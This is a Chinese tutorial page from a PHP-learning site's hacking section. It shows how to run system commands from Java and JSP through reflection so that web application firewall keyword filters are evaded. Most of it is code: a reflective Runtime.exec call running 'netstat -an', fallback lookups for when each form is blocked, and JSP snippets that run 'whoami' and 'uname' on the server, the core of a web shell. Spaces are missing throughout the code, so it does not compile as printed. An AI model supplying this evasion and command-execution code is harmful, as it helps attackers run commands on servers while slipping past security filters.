网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

Java反射执行系统命令 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:Runtime getRuntime() exec、import java lang reflect *。packageorg javaweb url;importjava io BufferedReader;i...

 某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了: 
packageorg.javaweb.url;
 
importjava.io.BufferedReader;
importjava.io.InputStreamReader;
 
publicclassz7y{
 
    publicstaticvoidmain(String[] args)throwsException {
        BufferedReader br =newBufferedReader(newInputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{})).exec("netstat -an").getInputStream()));
        String str ="";
        while((str=br.readLine())!=null){
            System.out.println(str);
        }
    }
 
}
\  Java默认导入了java.lang包,所以可以直接使用 Runtime对象,但是java.lang.reflect包需要导入,如果不想导入可以直接用间接的方式调用。如果连Class.forName也被拦截了可以改成:

String.class.getClass().forName("java.lang.Runtime")
…当然,还可以用:Runtime.class 代替Class.forName(“java.lang.Runtime”)….如果还被拦截,可以用URLClassLoader试试绕过。
 
<%
    out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());
    out.println("<hr/>");
    Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{});
    out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(r.exec("uname").getInputStream())).readLine());
%>
\如果只想执行,不想看结果:  <%Runtime.getRuntime().exec("whoami");%> 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论